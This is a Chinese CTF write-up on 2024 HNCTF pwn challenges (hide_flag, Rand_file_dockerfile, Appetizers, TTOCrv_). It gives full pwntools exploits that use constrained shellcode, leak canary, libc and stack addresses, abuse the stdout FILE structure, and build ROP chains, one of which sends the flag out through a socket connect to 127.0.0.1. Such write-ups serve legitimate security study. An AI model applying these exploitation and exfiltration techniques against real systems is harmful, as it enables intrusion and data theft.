2024 HNCTF PWN(hide_flag Rand_file_dockerfile Appetizers TTOCrv_)

文章目录

参考

https://docs.qq.com/doc/p/641e8742c39d16cd6d046b18bcb251fd3ab0cd6d

hide_flag


open+pread+write即可

pread函数是Linux和其他类UNIX系统中用于文件输入输出的一个高级函数,它允许应用程序在读取文件时指定一个相对于文件起点的绝对偏移量。

ssize_t pread(int fd, void *buf, size_t count, off_t offset);

要字节码与位置下标的奇偶性一样,即按照偶奇偶奇来

所以sycall这种连续两个奇的就不行了,只能用call去使用函数了(jmp难回来)

思路

刚进入shellcode时残留的寄存器和栈上的

  • pop push add sub mov xchg cmp shl xor call nop
  • 必须两个偶或者奇就填充一个不一样的但不影响的来满足偶奇
  • 利用残留的寄存器和栈上的凑出地址到寄存器里,然后call 寄存器

exp

python 复制代码
from pwn import *
 
context(arch='amd64',os="linux",log_level='debug')
libc = ELF('./libc.so.6')
 
p = process('./pwn')

gdb.attach(p) 
pause()

#F1@g520


#open()
pay = ''
#rax + 0xea750
#       58      59      58      59       58       59 
pay += 'pop rax;pop rcx;pop rax;pop rcx; pop rax; pop rcx;'  #rax = 0x00007ffff7c29d90
#       4805  6ea70e01      482d 00010001       4883 c071      4883 c073 
pay += 'add rax,0x010ea76e; sub rax,0x01000100; add rax,0x71; add rax,0x73; '  #rax + 0xf4d10
#       2c 01        2c 01        50       xx
pay += 'sub al,0x1; sub al,0x1; push rax;cmp eax,0x33323130;'  #rax = libc_open
#       48b9 4631 4067 3633 3001 (F1@g520)    6a01     58      3d 3031 3233       48c1e02d   48c1e003  4891          4829c8      xx
pay += 'mov rcx,0x0130333667403146; push 0x1;pop rax;cmp eax,0x33323130;shl rax,53;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130;'
#       4891          6a01     58      3d 3031 3233       48c1e025   48c1e003  4891          4829c8 
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,37;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,29;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
#       56      59      50                            54        5f       4889f0       51
pay += 'pop rsi;pop rcx;push rax; cmp eax,0x33323130; push rsp; pop rdi; mov rax,rsi; push rcx;'  #rdi->F1@g520\0
#       4831f6                           
pay += 'xor rsi,rsi;' #rsi = 0
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax
 


#pread rax = rcx - 0x1e0b
#       51       58      51        662d 001f       4883c059
pay += 'push rcx;pop rax;push rcx; sub ax, 0x1f00;add rax,89;add rax,89; add rax,67;' #rax=pread64
#       6a 03    90   5f      6a71      5a      53        90   59       90
pay += 'push 3; nop; pop rdi;push 0x71;pop rdx;push rbx; nop; pop rcx; nop;' #rdi=3, rdx=0x71
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax
 


#write rax = rcx+0x2126
#       51       58      51        662d2621      
pay += 'push rcx;pop rax;push rcx; add ax, 0x2126;' #rax=pread64
#       6a01   90  5f      90
pay += 'push 1;nop;pop rdi;nop;'
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax
 
 
p.sendafter(b"Please find flag's name\n", asm(pay))
 
p.interactive()

Rand_file_dockerfile libc 2.31

把open关了,对read的文件描述符做了限制,不能大于2,用close把错误输出关了就行,这样就可以read新open的文件的了,close+openat+read+write


c 复制代码
ptr ^= __readfsqword(0x28u);

这一行从线程的特定位置读取一个 64 位值并将其与 ptr 进行异或操作。__readfsqword 是一个特殊的内联汇编指令,用于读取一个 64 位值,该值位于 FS 段寄存器所指向的地址上加上偏移量 0x28FS 段寄存器通常用来访问当前线程的非分页内存区域,比如 TLS(Thread Local Storage)。

c 复制代码
for ( i = 0; i <= 3; ++i )
{
  v4 = *((_BYTE *)&ptr + i);
  *((_BYTE *)&ptr + i) = *((_BYTE *)&ptr + 7LL - i);
  *((_BYTE *)&ptr + 7LL - i) = v4;
}

这是一个循环,用于将 ptr 中的字节顺序反转。由于 ptr 是一个 64 位变量,它由 8 个字节组成。循环从第 0 字节到第 3 字节进行迭代(即前半部分),每次迭代都会执行以下操作:

  • 将当前字节的值保存在 v4 中。
  • 将当前字节与对应的最后一个字节进行交换,即 i7 - i 位置的字节互换。
  • 通过将 v4 赋给 7 - i 位置的字节来完成字节的交换。

由于循环只运行了 4 次,而 64 位值共有 8 个字节,所以前 4 个字节和后 4 个字节分别在循环的前半部分和后半部分(未显示)通过交换实现了整个 64 位值的字节逆序。

c 复制代码
fwrite(&ptr, 1uLL, 8uLL, stdout);
fflush(stdout);

这两行代码将逆序后的 ptr 值写入标准输出流 stdoutfwrite 函数的第一个参数是指向要写入数据的指针,第二个参数是每个元素的大小(在这里每个字节是 1),第三个参数是要写入的元素数量(这里是 8),第四个参数是目标文件流。fflush 则用于刷新输出缓冲区,确保所有数据都被立即写出。

c 复制代码
write(1, "\n", 1uLL);
return 0LL;

write 函数用于向文件描述符 1(通常代表标准输出 stdout)写入一个换行符,然后函数返回 0LL,表示程序正常结束。

  1. *a1 ^= *a2;

    这一行使用异或运算符 ^a1 指向的值与 a2 指向的值进行异或操作,并将结果存储回 a1 指向的位置。异或操作有这样一个性质:任何数与自身进行异或操作的结果为零;任何数与零进行异或操作的结果为其本身。

  2. *a2 ^= *a1;

    这里再次使用异或操作,这次是在 a2 指向的值与现在 a1 指向的新值之间进行。由于 a1 现在的值实际上是 *a1 ^ *a2,那么 (*a2) ^ (*a1 ^ *a2) 的结果将是 *a1 的原始值。这个结果现在存储到了 a2 指向的位置。

  3. result = a1;

    这行代码实际上并不参与值的交换过程,它只是将 a1 的值赋给了 result 变量。这里可能是为了返回一个值,但实际上 result 的值并没有在交换过程中改变,所以这行代码可能是为了符合函数声明的返回类型,或者是出于其他目的(如指示调用者哪个指针的值先被改变了)。

  4. *a1 ^= *a2;

    最后一步再次执行异或操作,这次是在 a1 指向的值与现在 a2 指向的新值之间。由于 a2 现在的值实际上是 a1 的原始值,那么 (*a1 ^ *a2) ^ *a1 的结果将是 a2 的原始值。这个结果现在存储到了 a1 指向的位置。

setenv 函数在C编程语言中用于在进程中设置或修改环境变量。它在 stdlib.h 头文件中声明,可以用来在程序运行时动态地改变环境变量的值。setenv 函数的原型如下:

c 复制代码
#include <stdlib.h>

int setenv(const char *name, const char *value, int overwrite);

函数的参数如下:

  • name:一个指向 char 类型的指针,表示环境变量的名字。
  • value:一个指向 char 类型的指针,表示环境变量的新值。
  • overwrite:一个 int 类型的值,表示是否覆盖已存在的同名环境变量。如果此参数为非零值,那么即使变量已经存在也会被覆盖;如果为零,且变量已存在,那么函数将不做任何事。

函数的返回值是一个整数,如果函数成功,返回值为0;如果失败,则返回非零值。

下面是一个使用 setenv 函数的例子:

c 复制代码
#include <stdlib.h>
#include <stdio.h>

int main() {
    // 设置环境变量 TEST_VAR 为 "Hello World"
    if (setenv("TEST_VAR", "Hello World", 1) != 0) {
        perror("setenv error");
        return 1;
    }

    // 获取环境变量 TEST_VAR 的值并打印
    char *value = getenv("TEST_VAR");
    if (value != NULL) {
        printf("Environment variable TEST_VAR is set to: %s\n", value);
    } else {
        printf("Environment variable TEST_VAR is not set.\n");
    }

    return 0;
}

需要注意的是,setenv 设置的环境变量仅在当前进程及其子进程中有效,不会影响到父进程或其他无关进程的环境变量。此外,当程序结束时,这些环境变量也不会保存到系统中,除非有其他的机制(比如在脚本中重新设置环境变量)将它们持久化。

思路

调试有点麻烦,因为run里面嵌了个绝对地址,是在搭建的镜像中的,只能patch掉再在本地调试

通过swap实现交换栈上地址八个字节的内容

实现无限重复循环main函数

然后自己和自己交换就不变还是零,此时会break然后通过下面和canary的异或可以泄露,上面作为一系列泄露的最后部分

泄露libc地址,最后交换到ptr位置然后控制好返回地址后再原位置交换然后输出和canary异或的结果,通过之前已经泄露的canary(不交换ptr的值,0和canary异或的值还是canary)再次异或得到原来结果

然后同样方式泄露stack地址

然后最妙的是通过call swap函数当前的栈上某个地址得到栈地址内容进行固定偏移得到下次循环时候swap的对应的ptr的地址,然后通过libc地址得到stdout地址后计算到下次ptr的偏移,就可以对stdout结构体修改


通过和stdout的内容交换来任意地址读,将栈上存有大量的指向环境变量的栈地址(某些栈地址对应的内容是到libc地址)泄露出来,从而得到大量栈地址,并保存尾地址为合适的栈地址(如需要修改第三个字节,就寻找栈地址末尾为3或者b,这往其交换时候此时最后一个字节正好是栈地址+8的的第三个字节,正好对应ptr和canary异或然后反转的最后一个字节,也就是ptr的第一个字节)

由于我们只能交换,不能写,唯一的输入机会就是call swap之前input,由于swap函数和input函数是同一级的,会存在栈帧重叠的部分,所以我们可以通过input函数残留的变量然后通过swap来写其他位置(对调用input的栈帧中残留的写入的变量进行利用,swap写到栈上的另一个位置)

构造pop rdi ret和gets函数地址,写到返回地址,然后输入rop

利用swap将当前栈上的libc地址和栈地址为3或b的地址+5的位置交换,然后利用swap交换_IO_write_ptr和_IO_write_end设置要写的栈上的地址,控制好ptr的值,使得经过异或后写的第八个高字节(对应输入的第一个字节和canary异或)正好修改残留的libc倒数的第三个字节,然后同样方法修改第二个字节和第一个字节

stdout的任意写,需要构造:

fp -> _IO_write_ptr和fp -> _IO_write_end,指向要写的位置。写的内容为要写入文件的变量的内容。偏移为0x28和0x30。

调用写入文件的一些函数例如fwrite、fputs。

当修改后需要将这个栈地址的内容和某个固定位置交换下来保存,当要修改倒数第二个字节时,需要找到末尾为2或者a的栈地址,然后之前的保存的位置的内容和栈地址+6的交换,那么当从栈地址写入8个字节时,即可修改栈地址+6的第二个字节,即在之前修改第三个字节基础上修改了第二个字节,第一个字节同理。最后修改完成的libc地址也存到一个地方

利用swap将栈上的pie地址相关的内容和栈地址末尾为2或者a的地址+5交换,然后方法和上面一样,最终要将其改成pop rdi ;ret对应的地址,最后的地址也保存到一个地方

然后将保存的地址移动到返回地址处,rdi参数构造为之前的泄露的栈地址。get函数后还是要交换为start函数地址(因为输入rop后最后还要进入main函数进行交换操作到返回地址构成rop),然后将rop输入到栈地址部分

最后先将栈地址开始处的文件名交换到固定位置,然后将rop部分swap到栈的返回地址部分就行(输入的rop 文件名+close+orw)

exp

python 复制代码
from pwn import *
import struct
context(os='linux', arch='amd64', log_level='debug')
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
p = process("./change_run")

def lg(msg, addr=None):
    if addr is not None:
        log.info(f"{msg} {addr}")
    else:
        log.info(msg)
s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
ia = lambda : p.interactive()

def swap(num1,num2):
    ru(b'11? >\n')
    s(str(num1))
    ru(b'77! >\n')
    s(str(num2))

def leak(C, canary): # A^B = C 
    bytes_C = C.to_bytes(8, byteorder='little')
    swapped_bytes = list(bytes_C)
    for i in range(4):
        swapped_bytes[i], swapped_bytes[7 - i] = swapped_bytes[7 - i], swapped_bytes[i]
    reversed_bytes = bytes(swapped_bytes)
    reversed_int = int.from_bytes(reversed_bytes, byteorder='little')
    original_data = reversed_int ^ canary
    return original_data

# 泄露stack  
def get_now_stack_ptr(canary):
    swap(7,0)
    swap(5,12)
    swap(0,0)
    tmp = u64(p.recv(8))
    stack_ptr_dbb8_daa0 = leak(tmp,canary)
    stack_ptr = stack_ptr_dbb8_daa0 -0x1f8 # 下一轮0x1f8
    lg("Now ptr is",hex(stack_ptr))
    return stack_ptr

# find可用地址
def get_addr(io_s,canary): #  打印start_addr栈开始的所有内容
    now_ptr = get_now_stack_ptr(canary)
    # 构造任意读
    offest_1 = (io_s - now_ptr) // 8    # write_ptr
    offest_0 = offest_1 - 1  # write_base 
    offest__1 = offest_0 - 2    # read_end 
    offest_8 = offest_1 + 7 # file_name
    lg(f"({io_s} - {now_ptr})//8 = {offest_1}")

    
    swap(5,12)# 28

    swap(1,0) # ptr = 1
    swap(offest__1,22) # write_base 0x7fff4db29ec0
    swap(offest_0,13) # write_ptr 0x7fff4db29ec0
    swap(offest_1,200) # write_end 0x7fff4db2ceec
    swap(offest_8,0) # file_name = 1 
    swap(0,0)
    tmp = p.recv(1000)  # 接收1000字节
    print(tmp)
    
    addresses = struct.unpack('125Q', tmp)  
    memory_dict = {i * 8: addr for i, addr in enumerate(addresses)}
    match_offsets_2a = []
    match_offsets_19 = []
    match_offsets_3b = []
    for offset, addr in memory_dict.items():
        last_byte = addr & 0xFF
        if last_byte % 16 == 2 or last_byte % 16 == 10:
            print(f"Match the addr last is 2/a, found at stack offset: {hex(offset//8)} with address: {hex(addr)}")
            match_offsets_2a.append((offset // 8, addr))  
        if last_byte % 16 == 1 or last_byte % 16 == 9:
            print(f"Match the addr last is 1/9, found at stack offset: {hex(offset//8)} with address: {hex(addr)}")
            match_offsets_19.append((offset // 8, addr)) 
        if last_byte % 16 == 3 or last_byte % 16 == 11:
            print(f"Match the addr last is 3/b, found at stack offset: {hex(offset//8)} with address: {hex(addr)}")
            match_offsets_3b.append((offset // 8, addr)) 
    return match_offsets_2a, match_offsets_19,match_offsets_3b

# int _flags   0
# char* _IO_read_ptr;   /* Current read pointer */  8      
# char* _IO_read_end;   /* End of get area. */   16      
# char* _IO_read_base;  /* Start of putback+get area. */  24      
# char* _IO_write_base; /* Start of put area. */    
# char* _IO_write_ptr;  /* Current put pointer. */ 
# char* _IO_write_end;  /* End of put area. */ 
# char* _IO_buf_base;   /* Start of reserve area. */  
# char* _IO_buf_end;    /* End of reserve area. */   
# # # #
# char *_IO_save_base; /* Pointer to start of non-current get area. */
# char *_IO_backup_base;  /* Pointer to first valid character of backup area */
# char *_IO_save_end; /* Pointer to end of non-current get area. */
# ### #
# int _fileno;

        
# 在ptr内存中存储1个字节
def read_1(data,canary): # stack_ptr + 6  
    feak_data = leak(data,canary)
    lg("Need change bytes is ",hex(data))
    lg("feak_data is ",hex(feak_data))
    feak_data = int(feak_data>>56)
    lg("The true byte is ",hex(feak_data))
    swap(-9,feak_data)
    swap(0,feak_data)
      
def change_3(stack_start,addr_2a,addr_2a_offest,offset_bechange,data,io_s,canary,i): #修改倒数第三位字节
    print("addr_2a",addr_2a)
    now_ptr = get_now_stack_ptr(canary)
    
    feak_data = leak(data,canary)
    lg("Need change bytes is ",hex(data))
    lg("feak_data is ",hex(feak_data))
    feak_data = int(feak_data>>56)
    lg("The true byte is ",hex(feak_data))

 
    
    swap(-9,feak_data)
    swap(0,feak_data)

    if offset_bechange != 12 and offset_bechange != 10:
        offset_bechange = (stack_start-now_ptr) // 8
    # 先将要修改的内容change放到addr_2a 的addr_28,完整的下一个
    swap(5,12)
    addr_28 = addr_2a - i%4 + 8
    offset_change_0 = (addr_28 - now_ptr)// 8 
    print("stack_start",stack_start)
    print("addr_2a",addr_2a)
    print("addr_28",addr_28)
    print("addr_2a_offest",addr_2a_offest)
    
    swap(offset_bechange,offset_change_0) 
    # 改io到特定地址,io任一写
    offset_change_2 = (stack_start-now_ptr) // 8 + addr_2a_offest   #末尾为2/a
  
    #store tmp to da90
    offest_1 = (io_s - now_ptr) // 8  # ptr
    offest_2 = offest_1 + 1 # end
    # offest_0 = offest_1 - 1  # write_s
    lg(f"({io_s} - {now_ptr})//8 = {offest_1}")


    swap(offest_1,offset_change_2)  # weite_ptr
    swap(offest_2,offset_change_2+10*i)   #warte_end   
    swap(0,0)
    #将换完的内容放到固定位置
    now_ptr -= 224 
    offset_change_0 = (addr_28 - now_ptr)// 8
    swap(5,12)
    swap(offset_change_0,(stack_start-now_ptr) // 8) #放到固定栈那里
    swap(0,0)
    



# 泄露canary   
swap(5,12)
swap(0,0)
canary = u64(p.recv(8))
lg("canary is",hex(canary))


# 泄露io_addr   
swap(-2,0)
swap(5,12)
swap(0,0)
tmp = u64(p.recv(8))
libc_902e8 = leak(tmp,canary)

stdout = libc_902e8 - (0x902e8-0x8c6a0)
write_s = stdout + 8*5 #0x28
write_e = stdout + 8*6 #0x30
lg("stdout is",hex(stdout))



#指向环境变量的栈地址,以不同字节结尾
swap(5,12)
swap(13,0) 
swap(0,0)
tmp = u64(p.recv(8))
leak_stack = leak(tmp,canary)
print("leak_stack",hex(leak_stack))

# 

match_offsets_2a, match_offsets_19,match_offsets_3b= get_addr(write_s,canary)
addr_1_offest,addr_1 = match_offsets_19[1]
addr_2_offest,addr_2 = match_offsets_2a[1]
addr_3_offest,addr_3 = match_offsets_3b[1]
lg("use 19 is :",hex(addr_1))
lg("use 2a is :",hex(addr_2))
lg("use 3b is :",hex(addr_3))


# 泄露libcbase  
swap(5,12)
swap(0,12)
swap(0,0)
tmp = u64(p.recv(8))
libc_start_243 = leak(tmp,canary)
libcbase = libc_start_243 - libc.sym['__libc_start_main'] - 243
lg("libcbase is",hex(libcbase))



gets_addr = libcbase+libc.sym['gets']
change_num = gets_addr & 0xFFFFFF
lg("the change 3 bytes for libcstart ",hex(change_num))
high_byte = (change_num >> 16) & 0xFF
next_byte = (change_num >> 8) & 0xFF
last_bytes = change_num & 0xFF

change_3(leak_stack,addr_3,addr_3_offest,12,high_byte,write_s,canary,3) #改libc的倒数第三个字节
change_3(leak_stack,addr_2,addr_2_offest,0,next_byte,write_s,canary,2) # 修改倒数第二个字节
change_3(leak_stack,addr_1,addr_1_offest,0,last_bytes,write_s,canary,1) # 修改最后个字节   #存储libc_在栈地址

now_ptr = get_now_stack_ptr(canary)
gets_addr = leak_stack - 16
swap((leak_stack-now_ptr) // 8,(leak_stack-now_ptr) // 8-2)
lg("gets_addr is",hex(gets_addr))


# pie  
swap(5,12)
swap(0,9)
swap(0,0)
tmp = u64(p.recv(8))
main_153c = leak(tmp,canary)
mainbase = main_153c - 0x153c
lg("mainbase is",hex(mainbase))


pop_rdi  = mainbase + 0x1753
change_pop = pop_rdi & 0xFFFF
next_byte = (change_pop >> 8) & 0xFF
last_byte = change_pop & 0xFF
lg("the change 2 bytes for pop_rdi ",hex(change_pop))

addr_1_offest,addr_1 = match_offsets_19[2]
addr_2_offest,addr_2 = match_offsets_2a[2]
lg("use 19 is :",hex(addr_1))
lg("use 2a is :",hex(addr_2))


change_3(leak_stack,addr_2,addr_2_offest,10,next_byte,write_s,canary,6) # 修改倒数第二个字节

change_3(leak_stack,addr_1,addr_1_offest,0,last_byte,write_s,canary,5) # 修改最后两个字节   #存储libc_在栈地址

now_ptr = get_now_stack_ptr(canary)
pop_rdi_addr = leak_stack - 24
swap((leak_stack-now_ptr) // 8,(leak_stack-now_ptr) // 8-3)
lg("pop_rdi_addr is",hex(pop_rdi_addr))




swap(5,(leak_stack-now_ptr) // 8-3) # pop_rdi
swap(6,13) # stack
swap(7,(leak_stack-now_ptr) // 8-2) # libc_gets


swap(8,12) # libc_main


swap(0,0)
lg("Wait set rop")

pop_rdi  = libcbase + 0x23b6a
pop_rdx_r12 = libcbase + 0x119431
pop_rsi = libcbase + 0x2601f
pop_rax = libcbase + 0x36174
pop_rdx_rbx = libcbase + 0x15fae6
syscall = libcbase + 0x630a9
reads  = libcbase+libc.sym['read']
openat = libcbase+libc.sym['openat']
writes   = libcbase+libc.sym['write']

payload = (b'./flag').ljust(8,b'\x00') + p64(pop_rdi) + p64(2) + p64(pop_rax) + p64(3) + p64(syscall)
payload += p64(pop_rdi) + p64(0xffffff9c) + p64(pop_rsi) + p64(leak_stack) + p64(pop_rdx_rbx) + p64(0x100) * 2 + p64(pop_rax) + p64(257) + p64(syscall)
payload += p64(pop_rdi) + p64(2) + p64(pop_rsi)+p64(leak_stack)+p64(pop_rdx_r12)+p64(0x20)+p64(0)+p64(reads)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi)+p64(leak_stack)+p64(pop_rdx_r12)+p64(0x20)+p64(0)+p64(writes)

sl(payload)


now_ptr = get_now_stack_ptr(canary)
offset = (leak_stack - now_ptr) // 8

# gdb.attach(p)
# pause()

for i in range(len(payload) // 8 ):
    swap(i + offset , 5 + i)

swap(0,0)

ia()

Appetizers glibc 2.35

open+read(count=0x9j就行)+write


原始的stdout->write_ptr和 stout->write_base相等,因为无缓冲模式,然后单字节高位改变stdout->write_ptr增大

从而泄露栈地址和heap地址

绕过关闭标准输出实例

由于关闭了标准输出和输入,此时open+read将flag读到内存中了,此时需要将flag从内存输出,由于关闭标准输出,并且也不能重新打开标准输出,重定向也不可。所以需要socket连接到本地的一个socker,此时新建socker然后连接本地的,然后再将flag写到这个连接,从而写到本地的服务socket中。

客户端 关闭标准输出

c 复制代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

#define PORT 8080
#define BUFFER_SIZE 1024

int main() {
    int sock = 0;
    struct sockaddr_in serv_addr;
    char buffer[BUFFER_SIZE] = {0};
    char *message = "flag{zhiyinnitaimei}";

    // 创建socket
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("Socket creation error");
        return -1;
    }

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(PORT);

    // 将IP地址从字符串转换为二进制形式
    if(inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr) <= 0) {
        perror("Invalid address/ Address not supported");
        return -1;
    }

    // 连接到服务器
    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        perror("Connection Failed");
        return -1;
    }

    // 使用write发送消息
    close(1);
    ssize_t bytes_written = write(sock, message, strlen(message));
    if (bytes_written < 0) {
        perror("Write failed");
        return -1;
    }
    printf("Message sent: %s\n", message);
    printf("Bytes written: %zd\n", bytes_written);

    // 接收服务器的回显
    ssize_t bytes_read = read(sock, buffer, BUFFER_SIZE - 1);
    if (bytes_read < 0) {
        perror("Read failed");
        return -1;
    }
    buffer[bytes_read] = '\0';  // 确保字符串正确终止
    printf("Server echo: %s\n", buffer);
    printf("Bytes read: %zd\n", bytes_read);

    // 关闭socket
    close(sock);

    return 0;
}

服务端

c 复制代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>


#define PORT 8080
#define BUFFER_SIZE 1024

int main() {
    int server_fd, new_socket;
    struct sockaddr_in address;
    int opt = 1;
    int addrlen = sizeof(address);
    char buffer[BUFFER_SIZE] = {0};

    // 创建socket文件描述符
    if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
        perror("socket failed");
        exit(EXIT_FAILURE);
    }

    // 设置socket选项
    if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) {
        perror("setsockopt");
        exit(EXIT_FAILURE);
    }

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons(PORT);

    // 绑定socket到指定端口
    if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {
        perror("bind failed");
        exit(EXIT_FAILURE);
    }

    // 开始监听连接
    if (listen(server_fd, 3) < 0) {
        perror("listen");
        exit(EXIT_FAILURE);
    }

    printf("Server listening on port %d\n", PORT);

    while(1) {
        // 接受新的连接
        if ((new_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen)) < 0) {
            perror("accept");
            exit(EXIT_FAILURE);
        }

        // 读取客户端消息
        int valread = read(new_socket, buffer, BUFFER_SIZE);
        printf("Received: %s\n", buffer);

        // 发送回显消息
        send(new_socket, buffer, strlen(buffer), 0);
        printf("Echo message sent\n");

        close(new_socket);
    }

    return 0;
}

结果


exp

最后写rop在mmap位置,然后写stack然后栈迁移(栈地址也大于0x70FFFFFFFFFFLL),最后rop,

open+read+socker+connect+write

python 复制代码
from pwn import *

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch      = 'amd64'
context.log_level = 'debug'


libc = ELF("./libc.so.6")
io = process('./pwn')

stdout_offset = 0x220780+ 0x28+0x1 # change 0x28  _IO_write_ptr





io.sendafter(b"start.",p8(0xbb^0xb8) + p64(stdout_offset))
# sendline result in next while break 
io.recv(5)
data = b''
while(1):
    dd = io.recv(timeout=1)
    if dd==b'':
        break
    data += dd

print("data",data)

libc_base = u64(data[0x5:0xb].ljust(8,b"\x00")) -0x1ca70-0x200000
stack     = u64(data[0x21d:0x21d+6].ljust(8,b"\x00"))

print("libc_base",hex(libc_base))
print("stack",hex(stack))


libc.address = libc_base
libc_rop=ROP(libc)
pop_rax = libc_base+0x0000000000045eb0
pop_rdi = libc_base+0x000000000002a3e5
pop_rsi = libc_base+0x000000000002be51
pop_rdx = libc_base+0x00000000000904a9
leave_ret =libc_base+0x000000000004da83
syscall_ret = libc_rop.find_gadget(['syscall','ret'])[0]

print("pop_rax",hex(pop_rax))
print("pop_rdi",hex(pop_rdi))
print("pop_rsi",hex(pop_rsi))
print("pop_rdx",hex(pop_rdx))
print("leave_ret",hex(leave_ret))
print("syscall_ret",hex(syscall_ret))

def syscall(rax=0, rdi=0, rsi=0, rdx=0):
    pay  = p64(pop_rax) +  p64(rax)
    pay += p64(pop_rdi) +  p64(rdi)
    pay += p64(pop_rsi) +  p64(rsi)
    pay += p64(pop_rdx) +  p64(rdx) * 2
    pay += p64(syscall_ret)
    return pay


def read_(fd, buf, count):  return syscall(0, fd, buf, count)
def write(fd, buf, count): return syscall(1, fd, buf, count)
def open_(filename=0, modes=0, flags=0): return syscall(2, filename, modes, flags)
def socket_(domain=2,TYPE=1,protocol=0): return syscall(0x29,domain, TYPE, protocol)
def connect_(fd=0,addr=0,LEN=0x10): return syscall(0x2a,fd, addr, LEN)

# # 0x0100007f901f0002 ip port v
# def socket(d, t, p):
#     return syscall(0x29, 0x2, 0x1, 0)



cmd = b'./flag\x00'
for i in range(len(cmd)):
    io.send(p8(cmd[i]) + p64(0x100+i))

flag_str_addr =  libc_base - 0x5000 + 0x100


# ## write ip port
cmd = p64(0x0100007f901f0002)
for i in range(len(cmd)):
    io.send(p8(cmd[i]) + p64(0x180+i))


ip_port_addr  = libc_base - 0x5000 + 0x180

# rop
rop  = open_(flag_str_addr, 0,0) # /flag fd =  0
rop += read_(0,flag_str_addr,0x50) # 
rop += socket_() # fd =1 
rop += connect_(1,ip_port_addr, 0x10) # socker connect to socket
rop += write(1,flag_str_addr,0x50)  #  

cmd = rop
for i in range(len(cmd)):
    io.send(p8(cmd[i]) + p64(0x200+i))

gdb.attach(io)
pause()

 #leave stack
ret_stack = stack - 0x120

offset = ret_stack - (libc_base-0x5000)
io.send(p8(0x6b^0x7f) + p64(offset))

ordrbp_pos = stack - 0x128
old_rbp=stack-0x118
offset =ordrbp_pos-(libc_base-0x5000)
newrbp = libc_base - 0x5000 + 0x200 - 8
rop = p64(newrbp ^ old_rbp)

cmd = rop
for i in range(len(cmd)):
    io.send(p8(cmd[i]) + p64(offset+i))

io.sendline(b"")

io.interactive()


TTOCrv_🎲 glibc 2.35


openat+read+write

逆向

c 复制代码
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 buf; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sandbox_0();
  while ( 1 )
  {
    do
    {
      while ( 1 )
      {
        menu();
        puts("🦐>>>");
        buf = 0LL;
        read(0, &buf, 7uLL);
        if ( buf != '{}\n' )
          break;
        dele();
      }
    }
    while ( buf > (unsigned __int64)'{}\n' );
    if ( buf == 'db\n' )
      break;
    if ( buf <= (unsigned __int64)'db\n' )
    {
      if ( buf == 'bd\n' )
      {
        nouse();                                // no use
      }
      else if ( buf <= (unsigned __int64)'bd\n' )
      {
        if ( buf == 'TF\n' )
        {
          show();
        }
        else if ( buf <= (unsigned __int64)'TF\n' )
        {
          if ( buf == 'PF\n' )
          {
            show_edit_name();
          }
          else if ( buf <= (unsigned __int64)'PF\n' )
          {
            if ( buf == 'H&\n' )
            {
              new();
            }
            else if ( buf == 'NC\n' )
            {
              edit();
            }
          }
        }
      }
    }
  }
  exit(0LL);
}

chunk_array没有清零,double free

可以show after free,根据每个字节的低四位和高四位分别与基础字符相加然后打印出字节的字符

由于清不了零,这里只能new 4次

edit after free

  • 上述idx都没有检查,存在越界读或写,但如果要往负的越界写由于只能输入7个字节,负数需要最高的第八个字节为ff,这里需要利用到先调用nouse这个函数输入满\XFF,然后再调用输入函数时会将残留的ff包括在内,这样加上原来的7个字节才能组成负数

DT_DEBUG获得各个库地址

通过DT_DEBUG来获得各个库的基址

里DT_DEBUG的值是0。在实际运行时,DT_DEBUG的值是指向struct r_debug的指针

c 复制代码
struct r_debug
  { 
    int r_version;              /* Version number for this protocol. */

    struct link_map *r_map;     /* Head of the chain of loaded objects. */

    /* This is the address of a function internal to the run-time linker, that will always be called when the linker begins to map in a library or unmap it, and again when the mapping change is complete. The debugger can set a breakpoint at this address if it wants to notice shared object mapping changes. */
    ElfW(Addr) r_brk;
    enum
      { 
        /* This state value describes the mapping change taking place when the `r_brk' address is called. */
        RT_CONSISTENT,          /* Mapping change is complete. */
        RT_ADD,                 /* Beginning to add a new object. */
        RT_DELETE               /* Beginning to remove an object mapping. */
      } r_state;

    ElfW(Addr) r_ldbase;        /* Base address the linker is loaded at. */
  };
